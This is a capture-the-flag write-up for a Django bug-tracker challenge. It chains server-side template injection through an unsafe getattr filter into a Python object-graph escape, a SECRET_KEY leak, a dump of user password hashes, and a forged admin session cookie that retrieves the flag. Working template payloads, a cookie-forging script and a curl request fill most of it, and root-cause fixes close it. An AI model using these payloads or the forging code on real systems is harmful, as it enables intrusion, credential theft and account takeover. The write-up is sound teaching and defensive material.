bugxxor is a small Django (4.2) bug-tracking style web application served behind gunicorn in a Kubernetes pod. Authenticated users can register, log in, write “bug reports” (posts) and view a feed. A protected endpoint /flag/ reveals the flag, but it is locked behind is_superuser.
The interesting feature — and the source of the vulnerability — is that posts are not just stored and rendered as plain text: the post body is fed into Django’s template engine and rendered as a Django template before being shown back to the user. In other words, every post is a server-side template. The application also ships a custom template-tag library that adds two filters:
leet— replaces characters in a string with l33t equivalents (harmless).get_bug_info(value, key)— returnsgetattr(value, key), with no underscore protection at all.
The combination of (a) user-controlled template source, (b) a getattr-based filter that bypasses Django’s normal _ lookup ban, and (c) Django’s auto-call behaviour for callables, leads to a full Server-Side Template Injection (SSTI) -> Python sandbox escape -> SECRET_KEY leak -> admin session forgery chain that ultimately reads /flag/.
This writeup walks through that chain from first contact to the final flag.
Initial Analysis:
After visiting https://bugxxor-dc19c79d71df2f60.chall.bts.wh.edu.pl/, the following endpoints are discovered:
| Path | Purpose |
|---|---|
/ | Public feed of recent posts |
/login/ | Standard Django login form |
/register/ | Self-service registration (open) |
/post/new/ | Submit a new post (auth required) |
/post/<id>/ | View a single post (HTML body is rendered, not escaped) |
/flag/ | Returns the flag, but only if request.user.is_superuser is truthy |
/admin/ | Django admin (requires staff) |
After registering a tester1 account and logging in, posting a body of {{ 7|add:1 }} and viewing the post yields 8 — confirming that post content is evaluated as a Django template.
A quick probe of the template context shows the variables available at render time include bugs, insects, total_bugs and platform. Most relevant: bugs is an instance of a class defined inside board/views.py.
The Vulnerability:
Two design mistakes combine catastrophically.
User-controlled template source
post_detail builds a Template from post.content and renders it with the request’s context. Anything the author writes is interpreted by the Django template language. By itself this would already be SSTI — but Django’s templating language is intentionally restrictive: {{ obj._something }} is rejected, you cannot index dicts with [ ], you cannot call functions with arguments, etc.
The get_bug_info filter
The custom filter is roughly:
@register.filter(name="get_bug_info")
def get_bug_info(value, key):
return getattr(value, key)This is the killer bug. Django’s built-in attribute resolution explicitly refuses to look up names beginning with _ and skips dunder attributes — that protection is the only thing standing between a template and arbitrary Python objects. The filter simply calls getattr, so:
{{ bugs|get_bug_info:"__class__" }}immediately gives you the class object, and from there the entire object graph is reachable.
Even better, Django’s Variable._resolve_lookup does auto-call zero-argument callables when you write {{ x.foo }}, but filters do not. So a chain like:
bugs|get_bug_info:"__init__"|get_bug_info:"__globals__"returns the raw __globals__ dict of Bugs.__init__ (which is the board.views module’s globals) without invoking anything.
Building the Exploit Primitives:
bugs is an instance of board.views.Bugs, so bugs.__init__.__globals__ is the board.views module dict. Posting:
{% with d=bugs|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
{% for kv in d.items %}<{{ kv.0 }}>{% endfor %}
{% endwith %}returns:
<__name__><__doc__><__package__><__loader__><__spec__><__file__><__cached__>
<__builtins__><render><redirect><get_object_or_404><login><logout>
<login_required><AuthenticationForm><Template><Context><Post><Profile>
<RegisterForm><PostForm><BugInfo><InsectInfo><Bugs><Insects>
<BENCH_CONTEXT><home><post_detail><post_create><register_view>
<login_view><logout_view><flag_view>So the views module imports login, Post, Profile, Template, Context, … all directly accessible.
The auto-call problem and how to dodge it
Two annoying interactions:
- {{ d.login }} — Django dot lookup auto-calls callables with no arguments, so
login(request, …)is invoked, raisesTypeError: missing 'request', the lookup silently fails and the expression renders to the empty string. - {{ d.Post }} —
Postis a Django model class. Calling it with no args returns an empty unsaved instance, then.objectsraisesAttributeError(manager isn’t accessible from instances).
The filter pipeline does not auto-call, so we keep callables inside |-chains. To pluck a value from a dict without auto-calling, the trick is {% for kv in d.items %}{% if kv.0 == “name” %}{{ kv|slice:”1:2″|first }}{% endif %}{% endfor %} — slice and first are built-in filters and don’t call.
Verifying it works:
{% with d=bugs|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
{% for kv in d.items %}{% if kv.0 == "login" %}
A=[{{ kv|slice:"1:2"|first }}]
{% endif %}{% endfor %}
{% endwith %}Output:
A=[<function login at 0x7f210f834ea0>]Pivoting to object.__subclasses__()
A more general primitive — useful for reaching the standard library — is to walk the class hierarchy:
{% with m=bugs|get_bug_info:"__class__"|get_bug_info:"__base__"|get_bug_info:"__subclasses__" %}
{% with d=m|slice:"141:142"|first|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
…
{% endwith %}{% endwith %}Index 141 happens to be os._wrap_close, whose __init__.__globals__ is the os module’s globals — giving direct access to os.environ, os.popen, and (most importantly) sys via os.sys. From there sys.modules.bugxxor.settings is reachable.
Leaking SECRET_KEY and Confirming Session Engine:
Reading the settings module:
{% with m=bugs|get_bug_info:"__class__"|get_bug_info:"__base__"|get_bug_info:"__subclasses__" %}
{% with d=m|slice:"141:142"|first|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
SE={{ d.sys.modules.bugxxor.settings.SESSION_ENGINE }}|
SK={{ d.sys.modules.bugxxor.settings.SECRET_KEY }}|
FLAG_PATH={{ d.sys.modules.bugxxor.settings.FLAG_PATH }}|
BASE={{ d.sys.modules.bugxxor.settings.BASE_DIR }}
{% endwith %}{% endwith %}Output (relevant fields):
SE = django.contrib.sessions.backends.signed_cookies
SK = 4a9+xbnhti!ngo03@5jy7pl29q#51()ra@=*efq%8&-_t83lc7
FLAG_PATH = (empty)
BASE = /appTwo crucial facts:
- Session engine is signed_cookies. The session is the cookie — there is no DB row to read; whoever knows
SECRET_KEYcan mint sessions for any user. - The flag is stored in the view’s logic (gated on
is_superuser), not on disk viaFLAG_PATH.
os.environ does not contain a FLAG, so reading the file or the env is a dead end. We need to become the admin user.
Dumping the User Table:
We need the admin’s password field because Django’s session cookie is bound to salted_hmac(..., user.password), so a forged cookie must match the live hash.
The cleanest way is to traverse from login.__globals__ (which is django.contrib.auth.__init__) into its models attribute, where Django’s User model lives:
{% with d=bugs|get_bug_info:"__init__"|get_bug_info:"__globals__" %}
{% for kv in d.items %}{% if kv.0 == "login" %}
{% with ag=kv|slice:"1:2"|first|get_bug_info:"__globals__" %}
{% with users=ag.models|get_bug_info:"User"|get_bug_info:"objects"|get_bug_info:"all" %}
{% for u in users %}
[{{ u.id }}|{{ u.username }}|{{ u.password }}|{{ u.is_superuser }}]
{% endfor %}
{% endwith %}
{% endwith %}
{% endif %}{% endfor %}
{% endwith %}The output (HTML-decoded):
[1|admin|pbkdf2_sha256$600000$x31vLYIKtxO7QBqUL5CSZV$JJjRPMvgYXR3/RFr7a9NjwdqtuxzJ6M4+llDHVA+q1c=|True]
[2|tester1|pbkdf2_sha256$600000$RM09f0J5bCgQ9yHWbJsVI9$WhEYAM1vYyWAujP6+8cJhxjG8jqq434JsRu81P2c5WU=|False]
[3|admin2|pbkdf2_sha256$600000$1Xd41GxhGdGW2cfieyYeTr$dYldiu3E4IIykswOpa55BRbJPbfx5b5Wf1AyTLGdeH8=|False]Anatomy of a Django signed_cookies Session:
With SESSION_ENGINE = ‘django.contrib.sessions.backends.signed_cookies’, the sessionid cookie is itself the serialized session payload, signed and timestamped:
<base64-json>:<base36-timestamp>:<HMAC-signature>The auth middleware looks for three keys:
{
'_auth_user_id': '<pk as string>',
'_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
'_auth_user_hash': salted_hmac(
"django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash",
user.password,
algorithm="sha256"
).hexdigest(),
}Django 4.2 uses SHA-256 for get_session_auth_hash (older versions used SHA-1; this is the “fallback” mechanism that old sessions migrate through). With SECRET_KEY and the admin’s password string, every input to dumps() is known.
We can sanity-check the formula using our own (tester1) cookie. Decoding it with the leaked key reveals exactly:
{
'_auth_user_id': '2',
'_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
'_auth_user_hash': '5f51c5bb94402d5a77368f945362f88245fb911d4a30ed5d0d5b979aefc91d4c'
}and salted_hmac(…, tester1.password, “sha256”) over the leaked password produces the same hex — confirming algorithm and salt strings.
Forging the Admin Session:
import os, django
from django.conf import settings
settings.configure(
SECRET_KEY="4a9+xbnhti!ngo03@5jy7pl29q#51()ra@=*efq%8&-_t83lc7",
SESSION_ENGINE="django.contrib.sessions.backends.signed_cookies",
SESSION_COOKIE_NAME="sessionid",
SESSION_SERIALIZER="django.contrib.sessions.serializers.JSONSerializer",
INSTALLED_APPS=["django.contrib.sessions"],
)
django.setup()
from django.utils.crypto import salted_hmac
from django.core.signing import dumps
admin_pw = (
"pbkdf2_sha256$600000$x31vLYIKtxO7QBqUL5CSZV$"
"JJjRPMvgYXR3/RFr7a9NjwdqtuxzJ6M4+llDHVA+q1c="
)
h = salted_hmac(
"django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash",
admin_pw,
algorithm="sha256",
).hexdigest()
# -> 6931ecf9c5b090db227dfbc334ec5810c2d9aeba47d838de1a2d236203d1647f
cookie = dumps(
{
"_auth_user_id": "1",
"_auth_user_backend": "django.contrib.auth.backends.ModelBackend",
"_auth_user_hash": h,
},
salt="django.contrib.sessions.backends.signed_cookies",
compress=True,
)
print(cookie)Result:
.eJxVjDkOwjAQAP-yNbJ8xYlT0vOGaL27xgFkSzkqxN9RpBTQzozmDRPuW5n2VZZpZhjBwOWXJaSn1EPwA-u9KWp1W-akjkSddlW3xvK6nu3foOBaYIQQnRHKkbqko-Zkbc85kXNeqBuMJssRJaHveXADi0HL1gWrHZvg-wyfL_aYOCQ:1wLl7Q:JhYTddXEh3BR_47jVLv4mcKzb1Bi9cVVVV6gNfwCyooCapturing the Flag from the flag endpoint:
curl -sk --cookie 'sessionid=.eJxVjDkOwjAQAP-yNbJ8xYlT0vOGaL27xgFkSzkqxN9RpBTQzozmDRPuW5n2VZZpZhjBwOWXJaSn1EPwA-u9KWp1W-akjkSddlW3xvK6nu3foOBaYIQQnRHKkbqko-Zkbc85kXNeqBuMJssRJaHveXADi0HL1gWrHZvg-wyfL_aYOCQ:1wLl7Q:JhYTddXEh3BR_47jVLv4mcKzb1Bi9cVVVV6gNfwCyoo' https://bugxxor-dc19c79d71df2f60.chall.bts.wh.edu.pl/flag/Response:
HTTP/2 200
…
<main>
<div class="flag-box">BtSCTF{bugxxor_more_like_buggedxxor_67676767}</div>
</main>
Root Cause Summary:
- Server-Side Template Injection: Rendering arbitrary user input through Template(post.content).render(…) is unsafe by design. Django’s templating language is not a sandbox; it is merely opinionated about which attribute names it will look up.
getattrfilter without underscore protection: The customget_bug_infofilter strips away even those opinions. Together with Django’s auto-call behaviour for context lookups (and the absence of auto-call inside filter pipelines, which the attacker uses defensively), this hands over __class__, __init__, __globals__, __subclasses__ and __builtins__.- signed_cookies session backend: It is convenient (no DB writes), but it means the credential needed to impersonate any user is the SECRET_KEY — which the SSTI exposes through bugxxor.settings.
Fixes:
- Treat post bodies as data, not templates. If template features are wanted, use a dedicated, sandboxed renderer (e.g. MiniMustache/Jinja2
SandboxedEnvironment) and never expose application objects in the context. - Remove get_bug_info, or at minimum reject keys starting with
_and validate thevaluetype. - Prefer the database-backed session engine and rotate SECRET_KEY after any leak.
- Don’t ship debug-friendly globals (Post, Profile, Template, …) in the same module that the SSTI sink lives in — a smaller blast radius would have made the __subclasses__ walk the only viable path.
